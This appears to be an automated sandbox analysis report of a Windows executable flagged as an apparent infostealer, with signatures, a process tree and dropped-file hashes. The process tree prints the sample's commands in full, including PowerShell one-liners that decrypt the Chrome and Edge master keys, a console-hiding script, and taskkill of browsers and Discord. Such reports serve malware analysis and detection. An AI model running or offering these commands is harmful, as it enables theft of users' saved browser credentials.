Analysis

  • max time kernel
    142s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231023-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26/10/2023, 06:55

General

  • Target
    ff575bbaa8724c8cbe1c0e154f445cb64fb843495932b090178bf815d1db234e.exe
  • Size 38.0MB
  • Sample231026-hpsdeaeb79
  • SHA256 ff575bbaa8724c8cbe1c0e154f445cb64fb843495932b090178bf815d1db234e
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ff575bbaa8724c8cbe1c0e154f445cb64fb843495932b090178bf815d1db234e.exe
    "C:\Users\Admin\AppData\Local\Temp\ff575bbaa8724c8cbe1c0e154f445cb64fb843495932b090178bf815d1db234e.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -c "$ShowWindowAsyncCode = '[DllImport(\"user32.dll\")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' $ShowWindowAsync = Add-Type -MemberDefinition $ShowWindowAsyncCode -name Win32ShowWindowAsync -namespace Win32Functions -PassThru $hwnd = (Get-Process -PID $pid).MainWindowHandle if ($hwnd -ne [System.IntPtr]::Zero) { # When you got HWND of the console window: # (It would appear that Windows Console Host is the default terminal application) $ShowWindowAsync::ShowWindowAsync($hwnd, 0) } else { # When you failed to get HWND of the console window: # (It would appear that Windows Terminal is the default terminal application) # Mark the current console window with a unique string. $UniqueWindowTitle = New-Guid $Host.UI.RawUI.WindowTitle = $UniqueWindowTitle $StringBuilder = New-Object System.Text.StringBuilder 1024 # Search the process that has the window title generated above. $TerminalProcess = (Get-Process | Where-Object { $_.MainWindowTitle -eq $UniqueWindowTitle }) # Get the window handle of the terminal process. # Note that GetConsoleWindow() in Win32 API returns the HWND of # powershell.exe itself rather than the terminal process. # When you call ShowWindowAsync(HWND, 0) with the HWND from GetConsoleWindow(), # the Windows Terminal window will be just minimized rather than hidden. $hwnd = $TerminalProcess.MainWindowHandle if ($hwnd -ne [System.IntPtr]::Zero) { $ShowWindowAsync::ShowWindowAsync($hwnd, 0) } else { Write-Host \"Failed to hide the console window.\" } }"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2736
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gvlh3llf\gvlh3llf.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3900
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESABD0.tmp" "c:\Users\Admin\AppData\Local\Temp\gvlh3llf\CSC91C2EF7B5A684EC09FE9986E2DFF7984.TMP"
          4⤵
            PID:2816
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "%windir%\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4088
        • C:\Windows\System32\reg.exe
          C:\Windows\System32\REG.exe QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography /v MachineGuid
          3⤵
            PID:4900
        • C:\Windows\system32\cmd.exe
          cmd.exe /d /s /c "TASKKILL /F /IM discord.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1040
          • C:\Windows\system32\taskkill.exe
            TASKKILL /F /IM discord.exe
            3⤵
            • Kills process with taskkill
            PID:1132
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get name"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2980
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get name
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4716
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get name"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2636
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get name
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4448
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get name"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4996
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get name
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4104
        • C:\Windows\system32\cmd.exe
          cmd.exe /d /s /c "TASKKILL /F /IM chrome.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3176
          • C:\Windows\system32\taskkill.exe
            TASKKILL /F /IM chrome.exe
            3⤵
            • Kills process with taskkill
            PID:3256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c "Add-Type -Assembly System.Security;$ExtensionFile = \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State\"; $jsondata = Get-Content -Raw -Path $ExtensionFile | ConvertFrom-Json; $encKey = [System.Convert]::FromBase64String($jsondata.os_crypt.encrypted_key.ToString()); $encKey = $encKey[5..$encKey.Length]; $decKey = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey,$null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $body = $decKey -join \", \" | Out-String;echo $body;"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3936
        • C:\Windows\system32\cmd.exe
          cmd.exe /d /s /c "TASKKILL /F /IM msedge.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1508
          • C:\Windows\system32\taskkill.exe
            TASKKILL /F /IM msedge.exe
            3⤵
            • Kills process with taskkill
            PID:3532
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -c "Add-Type -Assembly System.Security;$ExtensionFile = \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State\"; $jsondata = Get-Content -Raw -Path $ExtensionFile | ConvertFrom-Json; $encKey = [System.Convert]::FromBase64String($jsondata.os_crypt.encrypted_key.ToString()); $encKey = $encKey[5..$encKey.Length]; $decKey = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey,$null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser); $body = $decKey -join \", \" | Out-String;echo $body;"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2176

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

            Loading Replay Monitor...

            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 3KB
            • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 291a53a8822be2c1b654a400ccd6fbbbf90712d4eb2078ccd2d10824d4de4e2b
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 f7786043ae6077bab298b8c7937216bb1cdd944bb390a367df05045b7ab650f8
            • MD5 SHA1 SHA512

            RESABD0.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RESABD0.tmp
            • Size 1KB
            • SHA256 55b66a84ea6e8afbacce88ba300587f147d17e2c8a5f230c383e3fa5026e926c
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_azrr5x2g.1bk.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_azrr5x2g.1bk.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            gvlh3llf.dll

            • Path C:\Users\Admin\AppData\Local\Temp\gvlh3llf\gvlh3llf.dll
            • Size 3KB
            • SHA256 34d37883e14dd2b8b49c5924128f253d73089c74ce6856c6e9ee2195e5486c3f
            • MD5 SHA1 SHA512

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 6KB
            • SHA256 7e30a0808eb8d45c4a08748ee43b0e2fd723f16133101a88c09d5639252740e6
            • MD5 SHA1 SHA512 SSDEEP

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 6KB
            • SHA256 c733ed602c3758966b2b89ca7a8ac1762e3fab6d2503621a99ab1509fdfd9fa7
            • MD5 SHA1 SHA512 SSDEEP

            590aee7bdd69b59b.customDestinations-ms

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
            • Size 6KB
            • SHA256 838af7d43c7df572c3184d407d774f07412a5a4e8852a2efb7179bc47282724d
            • MD5 SHA1 SHA512 SSDEEP

            NUYYLTGUTKUW1B25H65E.temp

            • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NUYYLTGUTKUW1B25H65E.temp
            • Size 6KB
            • SHA256 838af7d43c7df572c3184d407d774f07412a5a4e8852a2efb7179bc47282724d
            • MD5 SHA1 SHA512 SSDEEP

            CSC91C2EF7B5A684EC09FE9986E2DFF7984.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\gvlh3llf\CSC91C2EF7B5A684EC09FE9986E2DFF7984.TMP
            • Size 652B
            • SHA256 d7846aeac3c72cb661f02fdeeccf49af36707cd3c0642e74e5ffc620bb63e66d
            • MD5 SHA1 SHA512

            gvlh3llf.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\gvlh3llf\gvlh3llf.0.cs
            • Size 237B
            • SHA256 d5b10c7f3cbb62cbf4772a7b178c578c8abaa3fe9a7420decbff18d81f08ccd9
            • MD5 SHA1 SHA512

            gvlh3llf.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\gvlh3llf\gvlh3llf.cmdline
            • Size 369B
            • SHA256 751431ee4d045f186aa5becc433dca86b69e4a59f36077f385280e0450d1f91c
            • MD5 SHA1 SHA512

            memory/2176-85-0x00007FFB019D0000-0x00007FFB02491000-memory.dmp

            memory/2176-100-0x00007FFB019D0000-0x00007FFB02491000-memory.dmp

            memory/2176-87-0x00000215FA930000-0x00000215FA940000-memory.dmp

            memory/2176-86-0x00000215FA930000-0x00000215FA940000-memory.dmp

            memory/2736-15-0x000001D978480000-0x000001D978490000-memory.dmp

            memory/2736-31-0x000001D978480000-0x000001D978490000-memory.dmp

            memory/2736-29-0x000001D978410000-0x000001D978418000-memory.dmp

            memory/2736-12-0x00007FFB01B00000-0x00007FFB025C1000-memory.dmp

            memory/2736-40-0x00007FFB01B00000-0x00007FFB025C1000-memory.dmp

            memory/2736-13-0x000001D9783A0000-0x000001D9783C2000-memory.dmp

            memory/2736-14-0x000001D978480000-0x000001D978490000-memory.dmp

            memory/3936-67-0x00007FFB019D0000-0x00007FFB02491000-memory.dmp

            memory/3936-64-0x000002A7F1A30000-0x000002A7F1F58000-memory.dmp

            memory/3936-59-0x00007FFB019D0000-0x00007FFB02491000-memory.dmp

            memory/3936-60-0x000002A7EEBA0000-0x000002A7EEBB0000-memory.dmp

            memory/3936-63-0x000002A7F1330000-0x000002A7F14F2000-memory.dmp

            memory/3936-62-0x000002A7F1110000-0x000002A7F1160000-memory.dmp

            memory/3936-61-0x000002A7EEBA0000-0x000002A7EEBB0000-memory.dmp